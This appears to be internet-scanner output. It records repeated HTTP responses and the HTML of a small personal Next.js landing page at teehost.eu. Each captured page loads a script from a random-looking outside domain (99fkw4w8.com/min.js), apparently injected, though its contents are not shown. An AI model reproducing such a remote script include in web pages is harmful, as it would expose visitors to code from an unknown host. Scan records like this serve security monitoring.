    Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
    X-Nextjs-Cache: HIT
    X-Nextjs-Prerender: 1
    X-Nextjs-Stale-Time: 4294967294
    X-Powered-By: Next.js
    cf-cache-status: DYNAMIC
    Server: cloudflare
    CF-RAY: 9c223aff89d1655c-AMS
    alt-svc: h3=":443"; ma=86400
    
    Page title: TeeHost
    
    <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/56eb0a2d26ed5c4f.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js"/><script src="/_next/static/chunks/11eacf67-82410ab2c5de0018.js" async=""></script><script src="/_next/static/chunks/954-1df87987dfb7cc43.js" async=""></script><script src="/_next/static/chunks/main-app-c11924b91fd45b07.js" async=""></script><script src="/_next/static/chunks/app/page-426e321442282306.js" async=""></script><title>TeeHost</title><meta name="description" content="TeeHost is a platform for hosting and sharing my projects with the world."/><meta name="generator" content="v0.dev"/><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script><script src="https://www.99fkw4w8.com/min.js"></script></head><body><div class="min-h-screen bg-gradient-to-br from-purple-900 via-blue-900 to-blue-950 text-white flex flex-col justify-between"><div class="container mx-auto px-4 py-16 flex-grow flex items-center justify-center"><div class="text-center"><h1 class="text-6xl font-bold mb-4">teehost.eu</h1><a target="_blank" rel="noopener noreferrer" class="inline-flex items-center text-gray-400 hover:text-white transition-colors" href="https://github.com/jakbrn"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-github h-5 w-5 mr-2"><path d="M15 22v-4a4.8 4.8 0 0 0-1-3.5c3 0 6-2 6-5.5.08-1.25-.27-2.48-1-3.5.28-1.15.28-2.35 0-3.5 0 0-1 0-3 1.5-2.64-.5-5.36-.5-8 0C6 2 5 2 5 2c-.3 1.15-.3 2.35 0 3.5A5.403 5.403 0 0 0 4 9c0 3.5 3 5.5 6 5.5-.39.49-.68 1.05-.85 1.65-.17.6-.22 1.23-.15 1.85v4"></path><path d="M9 18c-4.51 2-5-2-7-2"></path></svg><span>github.com/jakbrn</span></a></div></div><footer class="py-4 text-center text-sm text-gray-400"><p>© <!-- -->2025<!-- --> teehost.eu - All rights reserved</p></footer></div><script src="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js" async=""></script><script>(self.__next_f=self.__next_f||[]).push([0])</script><script>self.__next_f.push([1,"1:\"$Sreact.fragment\"\n2:I[1063,[],\"\"]\n3:I[1483,[],\"\"]\n4:I[7950,[\"974\",\"static/chunks/app/page-426e321442282306.js\"],\"\"]\n5:I[5125,[],\"OutletBoundary\"]\n8:I[5125,[],\"ViewportBoundary\"]\na:I[5125,[],\"MetadataBoundary\"]\nc:I[1954,[],\"\"]\n:HL[\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"style\"]\n"])</script><script>self.__next_f.push([1,"0:{\"P\":null,\"b\":\"4qfhuPSKhP-_IQ5MAuT9V\",\"p\":\"\",\"c\":[\"\",\"\"],\"i\":false,\"f\":[[[\"\",{\"children\":[\"__PAGE__\",{}]},\"$undefined\",\"$undefined\",true],[\"\",[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}]],[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"children\":[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{
    Found 2026-01-22 by HttpPlugin
    Create report
  • Open service 104.21.26.14:443 · teehost.eu

    2026-01-22 21:37

    HTTP/1.1 200 OK
    Date: Thu, 22 Jan 2026 21:37:59 GMT
    Content-Type: text/html; charset=utf-8
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: s-maxage=31536000
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=FEvakiR%2FHYe7n5BRjEAwgZkS17LBc4k%2FOrMJWy%2FM0umr1SqHVIZbvIFDk3zW8Z9IxhVdiklWgx2LjHDqGKOzYF7HavHA0Xs6OvM%3D"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    Vary: Accept-Encoding
    Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
    X-Nextjs-Cache: HIT
    X-Nextjs-Prerender: 1
    X-Nextjs-Stale-Time: 4294967294
    X-Powered-By: Next.js
    cf-cache-status: DYNAMIC
    Server: cloudflare
    CF-RAY: 9c2232177e047e25-SJC
    alt-svc: h3=":443"; ma=86400
    
    Page title: TeeHost
    
    <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/56eb0a2d26ed5c4f.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js"/><script src="/_next/static/chunks/11eacf67-82410ab2c5de0018.js" async=""></script><script src="/_next/static/chunks/954-1df87987dfb7cc43.js" async=""></script><script src="/_next/static/chunks/main-app-c11924b91fd45b07.js" async=""></script><script src="/_next/static/chunks/app/page-426e321442282306.js" async=""></script><title>TeeHost</title><meta name="description" content="TeeHost is a platform for hosting and sharing my projects with the world."/><meta name="generator" content="v0.dev"/><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script><script src="https://www.99fkw4w8.com/min.js"></script></head><body><div class="min-h-screen bg-gradient-to-br from-purple-900 via-blue-900 to-blue-950 text-white flex flex-col justify-between"><div class="container mx-auto px-4 py-16 flex-grow flex items-center justify-center"><div class="text-center"><h1 class="text-6xl font-bold mb-4">teehost.eu</h1><a target="_blank" rel="noopener noreferrer" class="inline-flex items-center text-gray-400 hover:text-white transition-colors" href="https://github.com/jakbrn"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-github h-5 w-5 mr-2"><path d="M15 22v-4a4.8 4.8 0 0 0-1-3.5c3 0 6-2 6-5.5.08-1.25-.27-2.48-1-3.5.28-1.15.28-2.35 0-3.5 0 0-1 0-3 1.5-2.64-.5-5.36-.5-8 0C6 2 5 2 5 2c-.3 1.15-.3 2.35 0 3.5A5.403 5.403 0 0 0 4 9c0 3.5 3 5.5 6 5.5-.39.49-.68 1.05-.85 1.65-.17.6-.22 1.23-.15 1.85v4"></path><path d="M9 18c-4.51 2-5-2-7-2"></path></svg><span>github.com/jakbrn</span></a></div></div><footer class="py-4 text-center text-sm text-gray-400"><p>© <!-- -->2025<!-- --> teehost.eu - All rights reserved</p></footer></div><script src="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js" async=""></script><script>(self.__next_f=self.__next_f||[]).push([0])</script><script>self.__next_f.push([1,"1:\"$Sreact.fragment\"\n2:I[1063,[],\"\"]\n3:I[1483,[],\"\"]\n4:I[7950,[\"974\",\"static/chunks/app/page-426e321442282306.js\"],\"\"]\n5:I[5125,[],\"OutletBoundary\"]\n8:I[5125,[],\"ViewportBoundary\"]\na:I[5125,[],\"MetadataBoundary\"]\nc:I[1954,[],\"\"]\n:HL[\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"style\"]\n"])</script><script>self.__next_f.push([1,"0:{\"P\":null,\"b\":\"4qfhuPSKhP-_IQ5MAuT9V\",\"p\":\"\",\"c\":[\"\",\"\"],\"i\":false,\"f\":[[[\"\",{\"children\":[\"__PAGE__\",{}]},\"$undefined\",\"$undefined\",true],[\"\",[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}]],[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"children\":[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{
    Found 2026-01-22 by HttpPlugin
    Create report
  • Open service 104.21.26.14:80 · teehost.eu

    2026-01-21 21:26

    HTTP/1.1 200 OK
    Date: Wed, 21 Jan 2026 21:26:47 GMT
    Content-Type: text/html; charset=utf-8
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: s-maxage=31536000
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=acUMx%2BOE0OxQ90i8vZfSz3VAQpEn7r9TBw7AjOxK7mmU2MJZBNg8lUBGqBlJi24d39rLlBUMhTZAUtSvAnfmhqCaujzJxF3uj9k%3D"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    Vary: Accept-Encoding
    Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
    X-Nextjs-Cache: HIT
    X-Nextjs-Prerender: 1
    X-Nextjs-Stale-Time: 4294967294
    X-Powered-By: Next.js
    cf-cache-status: DYNAMIC
    Server: cloudflare
    CF-RAY: 9c19e44fbb025163-YYZ
    alt-svc: h3=":443"; ma=86400
    
    Page title: TeeHost
    
    <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/56eb0a2d26ed5c4f.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js"/><script src="/_next/static/chunks/11eacf67-82410ab2c5de0018.js" async=""></script><script src="/_next/static/chunks/954-1df87987dfb7cc43.js" async=""></script><script src="/_next/static/chunks/main-app-c11924b91fd45b07.js" async=""></script><script src="/_next/static/chunks/app/page-426e321442282306.js" async=""></script><title>TeeHost</title><meta name="description" content="TeeHost is a platform for hosting and sharing my projects with the world."/><meta name="generator" content="v0.dev"/><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script><script src="https://www.99fkw4w8.com/min.js"></script></head><body><div class="min-h-screen bg-gradient-to-br from-purple-900 via-blue-900 to-blue-950 text-white flex flex-col justify-between"><div class="container mx-auto px-4 py-16 flex-grow flex items-center justify-center"><div class="text-center"><h1 class="text-6xl font-bold mb-4">teehost.eu</h1><a target="_blank" rel="noopener noreferrer" class="inline-flex items-center text-gray-400 hover:text-white transition-colors" href="https://github.com/jakbrn"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-github h-5 w-5 mr-2"><path d="M15 22v-4a4.8 4.8 0 0 0-1-3.5c3 0 6-2 6-5.5.08-1.25-.27-2.48-1-3.5.28-1.15.28-2.35 0-3.5 0 0-1 0-3 1.5-2.64-.5-5.36-.5-8 0C6 2 5 2 5 2c-.3 1.15-.3 2.35 0 3.5A5.403 5.403 0 0 0 4 9c0 3.5 3 5.5 6 5.5-.39.49-.68 1.05-.85 1.65-.17.6-.22 1.23-.15 1.85v4"></path><path d="M9 18c-4.51 2-5-2-7-2"></path></svg><span>github.com/jakbrn</span></a></div></div><footer class="py-4 text-center text-sm text-gray-400"><p>© <!-- -->2025<!-- --> teehost.eu - All rights reserved</p></footer></div><script src="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js" async=""></script><script>(self.__next_f=self.__next_f||[]).push([0])</script><script>self.__next_f.push([1,"1:\"$Sreact.fragment\"\n2:I[1063,[],\"\"]\n3:I[1483,[],\"\"]\n4:I[7950,[\"974\",\"static/chunks/app/page-426e321442282306.js\"],\"\"]\n5:I[5125,[],\"OutletBoundary\"]\n8:I[5125,[],\"ViewportBoundary\"]\na:I[5125,[],\"MetadataBoundary\"]\nc:I[1954,[],\"\"]\n:HL[\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"style\"]\n"])</script><script>self.__next_f.push([1,"0:{\"P\":null,\"b\":\"4qfhuPSKhP-_IQ5MAuT9V\",\"p\":\"\",\"c\":[\"\",\"\"],\"i\":false,\"f\":[[[\"\",{\"children\":[\"__PAGE__\",{}]},\"$undefined\",\"$undefined\",true],[\"\",[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}]],[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"children\":[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{
    Found 2026-01-21 by HttpPlugin
    Create report
  • Open service 104.21.26.14:443 · teehost.eu

    2026-01-21 21:15

    HTTP/1.1 200 OK
    Date: Wed, 21 Jan 2026 21:15:07 GMT
    Content-Type: text/html; charset=utf-8
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: s-maxage=31536000
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=ZxKXJEQ%2FVEyFKtZqZlky7Xw%2BcvYtn0tOlBDwZhZ716RGb83c2GEj7mwHoZQFZtMM1IusBzJZMPDejD8qfYWHrwIHssyQg3B1"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    Vary: Accept-Encoding
    Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
    X-Nextjs-Cache: HIT
    X-Nextjs-Prerender: 1
    X-Nextjs-Stale-Time: 4294967294
    X-Powered-By: Next.js
    cf-cache-status: DYNAMIC
    Server: cloudflare
    CF-RAY: 9c19d338de42a24c-YYZ
    alt-svc: h3=":443"; ma=86400
    
    Page title: TeeHost
    
    <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/56eb0a2d26ed5c4f.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js"/><script src="/_next/static/chunks/11eacf67-82410ab2c5de0018.js" async=""></script><script src="/_next/static/chunks/954-1df87987dfb7cc43.js" async=""></script><script src="/_next/static/chunks/main-app-c11924b91fd45b07.js" async=""></script><script src="/_next/static/chunks/app/page-426e321442282306.js" async=""></script><title>TeeHost</title><meta name="description" content="TeeHost is a platform for hosting and sharing my projects with the world."/><meta name="generator" content="v0.dev"/><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script><script src="https://www.99fkw4w8.com/min.js"></script></head><body><div class="min-h-screen bg-gradient-to-br from-purple-900 via-blue-900 to-blue-950 text-white flex flex-col justify-between"><div class="container mx-auto px-4 py-16 flex-grow flex items-center justify-center"><div class="text-center"><h1 class="text-6xl font-bold mb-4">teehost.eu</h1><a target="_blank" rel="noopener noreferrer" class="inline-flex items-center text-gray-400 hover:text-white transition-colors" href="https://github.com/jakbrn"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-github h-5 w-5 mr-2"><path d="M15 22v-4a4.8 4.8 0 0 0-1-3.5c3 0 6-2 6-5.5.08-1.25-.27-2.48-1-3.5.28-1.15.28-2.35 0-3.5 0 0-1 0-3 1.5-2.64-.5-5.36-.5-8 0C6 2 5 2 5 2c-.3 1.15-.3 2.35 0 3.5A5.403 5.403 0 0 0 4 9c0 3.5 3 5.5 6 5.5-.39.49-.68 1.05-.85 1.65-.17.6-.22 1.23-.15 1.85v4"></path><path d="M9 18c-4.51 2-5-2-7-2"></path></svg><span>github.com/jakbrn</span></a></div></div><footer class="py-4 text-center text-sm text-gray-400"><p>© <!-- -->2025<!-- --> teehost.eu - All rights reserved</p></footer></div><script src="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js" async=""></script><script>(self.__next_f=self.__next_f||[]).push([0])</script><script>self.__next_f.push([1,"1:\"$Sreact.fragment\"\n2:I[1063,[],\"\"]\n3:I[1483,[],\"\"]\n4:I[7950,[\"974\",\"static/chunks/app/page-426e321442282306.js\"],\"\"]\n5:I[5125,[],\"OutletBoundary\"]\n8:I[5125,[],\"ViewportBoundary\"]\na:I[5125,[],\"MetadataBoundary\"]\nc:I[1954,[],\"\"]\n:HL[\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"style\"]\n"])</script><script>self.__next_f.push([1,"0:{\"P\":null,\"b\":\"4qfhuPSKhP-_IQ5MAuT9V\",\"p\":\"\",\"c\":[\"\",\"\"],\"i\":false,\"f\":[[[\"\",{\"children\":[\"__PAGE__\",{}]},\"$undefined\",\"$undefined\",true],[\"\",[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}]],[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"children\":[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{
    Found 2026-01-21 by HttpPlugin
    Create report
  • Open service 104.21.26.14:80 · teehost.eu

    2026-01-12 21:29

    HTTP/1.1 200 OK
    Date: Mon, 12 Jan 2026 21:29:51 GMT
    Content-Type: text/html; charset=utf-8
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: s-maxage=31536000
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=f%2FzMYrPNAfJ3xWrl0bJZ8B5Fxgkb0hpTLdNk4tmFTrZSjXXkC0OvFgnvdsTzQ%2B6nWsFxri6Ur076H8Bd3i9%2B3iDEGXo0HP1%2BKyg%3D"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    Vary: Accept-Encoding
    Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
    X-Nextjs-Cache: HIT
    X-Nextjs-Prerender: 1
    X-Nextjs-Stale-Time: 4294967294
    X-Powered-By: Next.js
    cf-cache-status: DYNAMIC
    Server: cloudflare
    CF-RAY: 9bcfc0726fdb71ed-LHR
    alt-svc: h3=":443"; ma=86400
    
    Page title: TeeHost
    
    <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/56eb0a2d26ed5c4f.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js"/><script src="/_next/static/chunks/11eacf67-82410ab2c5de0018.js" async=""></script><script src="/_next/static/chunks/954-1df87987dfb7cc43.js" async=""></script><script src="/_next/static/chunks/main-app-c11924b91fd45b07.js" async=""></script><script src="/_next/static/chunks/app/page-426e321442282306.js" async=""></script><title>TeeHost</title><meta name="description" content="TeeHost is a platform for hosting and sharing my projects with the world."/><meta name="generator" content="v0.dev"/><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script><script src="https://www.99fkw4w8.com/min.js"></script></head><body><div class="min-h-screen bg-gradient-to-br from-purple-900 via-blue-900 to-blue-950 text-white flex flex-col justify-between"><div class="container mx-auto px-4 py-16 flex-grow flex items-center justify-center"><div class="text-center"><h1 class="text-6xl font-bold mb-4">teehost.eu</h1><a target="_blank" rel="noopener noreferrer" class="inline-flex items-center text-gray-400 hover:text-white transition-colors" href="https://github.com/jakbrn"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-github h-5 w-5 mr-2"><path d="M15 22v-4a4.8 4.8 0 0 0-1-3.5c3 0 6-2 6-5.5.08-1.25-.27-2.48-1-3.5.28-1.15.28-2.35 0-3.5 0 0-1 0-3 1.5-2.64-.5-5.36-.5-8 0C6 2 5 2 5 2c-.3 1.15-.3 2.35 0 3.5A5.403 5.403 0 0 0 4 9c0 3.5 3 5.5 6 5.5-.39.49-.68 1.05-.85 1.65-.17.6-.22 1.23-.15 1.85v4"></path><path d="M9 18c-4.51 2-5-2-7-2"></path></svg><span>github.com/jakbrn</span></a></div></div><footer class="py-4 text-center text-sm text-gray-400"><p>© <!-- -->2025<!-- --> teehost.eu - All rights reserved</p></footer></div><script src="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js" async=""></script><script>(self.__next_f=self.__next_f||[]).push([0])</script><script>self.__next_f.push([1,"1:\"$Sreact.fragment\"\n2:I[1063,[],\"\"]\n3:I[1483,[],\"\"]\n4:I[7950,[\"974\",\"static/chunks/app/page-426e321442282306.js\"],\"\"]\n5:I[5125,[],\"OutletBoundary\"]\n8:I[5125,[],\"ViewportBoundary\"]\na:I[5125,[],\"MetadataBoundary\"]\nc:I[1954,[],\"\"]\n:HL[\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"style\"]\n"])</script><script>self.__next_f.push([1,"0:{\"P\":null,\"b\":\"4qfhuPSKhP-_IQ5MAuT9V\",\"p\":\"\",\"c\":[\"\",\"\"],\"i\":false,\"f\":[[[\"\",{\"children\":[\"__PAGE__\",{}]},\"$undefined\",\"$undefined\",true],[\"\",[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/css/56eb0a2d26ed5c4f.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}]],[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"children\":[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{
    Found 2026-01-12 by HttpPlugin
    Create report
  • Open service 104.21.26.14:443 · teehost.eu

    2026-01-12 21:19

    HTTP/1.1 200 OK
    Date: Mon, 12 Jan 2026 21:19:53 GMT
    Content-Type: text/html; charset=utf-8
    Transfer-Encoding: chunked
    Connection: close
    Cache-Control: s-maxage=31536000
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=gEOSfkDeU0yYpRk114wKR0kAbGoUWH15g%2F10Dc0o3WDuuoKieqR3y0m4gwyV52w3qUBleEyS1VC5ICF9hEzZbvpK1caR0w0PnKc%3D"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    Vary: Accept-Encoding
    Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
    X-Nextjs-Cache: HIT
    X-Nextjs-Prerender: 1
    X-Nextjs-Stale-Time: 4294967294
    X-Powered-By: Next.js
    cf-cache-status: DYNAMIC
    Server: cloudflare
    CF-RAY: 9bcfb1d7bb69614b-EWR
    alt-svc: h3=":443"; ma=86400
    
    Page title: TeeHost
    
    <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/56eb0a2d26ed5c4f.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-9ce1feb1a7ba3ba5.js"/><script src="/_next/static/chunks/11eacf67-82410ab2c5de0018.js" async=""></script><script src="/_next/static/chunks/954-1df87987dfb7cc43.js" async=""></script><script src="/_next/static/chunks/main-app-c11924b91fd45b07.js" async=""></script><script src="/_next/static/chunks/app/page-426e321442282306.js" async=""></script><title>TeeHost</title><meta name="description" content="TeeHost is a platform for hosting and sharing my projects with the world."/><meta name="generator" content="v0.dev"/><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script><script src="https://www.99fkw4w8.com/min.js"></script></head><body><div class="min-h-screen bg-gradient-to-br from-purple-900 via-blue-900 to-blue-950 text-white flex flex-col justify-between"><div class="container mx-auto px-4 py-16 flex-grow flex items-center justify-center"><div class="text-center"><h1 class="text-6xl font-bold mb-4">teehost.eu</h1><a target="_blank" rel="noopener noreferrer" class="inline-flex items-center text-gray-400 hover:text-white transition-colors" href="https://github.com/jakbrn"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-github h-5 w-5 mr-2"><path 